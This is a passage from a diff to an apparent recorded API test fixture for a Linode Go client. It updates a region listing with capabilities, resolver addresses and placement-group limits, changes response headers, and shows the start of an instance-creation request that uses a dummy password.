172.232.0.20, 172.232.0.15, 172.232.0.18", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": + {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": + "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], + "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, + 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, + 172.236.0.48", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, + 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +283,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -220,14 +310,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-215ggi3ie4s5","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: 